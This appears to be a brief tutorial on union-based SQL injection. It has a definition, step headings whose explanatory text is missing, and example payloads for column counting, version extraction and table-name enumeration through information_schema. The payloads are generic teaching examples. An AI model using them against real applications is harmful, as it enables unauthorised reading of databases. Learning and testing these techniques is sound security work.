Union-Based SQL Injection

What is Union-Based SQL Injection?

Union-Based SQL Injection uses the SQL UNION operator to combine the results of two or more SELECT statements. This allows the attacker to retrieve data from other tables.


How it works:

Key Point:

Steps to Exploit Union-Based SQL Injection

  1. Find the Number of Columns:

  2. Inject the UNION Query:

  3. Extract Data:


Union-Based SQL Injection Payloads

Here are some example payloads for Union-Based SQL Injection:

  1. Find the Number of Columns:

    ORDER BY 1--
    ORDER BY 2--
    ORDER BY 3--
    
    
  2. Inject Dummy Data:

    UNION SELECT 'test', 'test'--
    
    
  3. Extract Database Version:

    UNION SELECT version(), NULL--
    
    
  4. Extract Table Names:

    UNION SELECT table_name, NULL FROM information_schema.tables--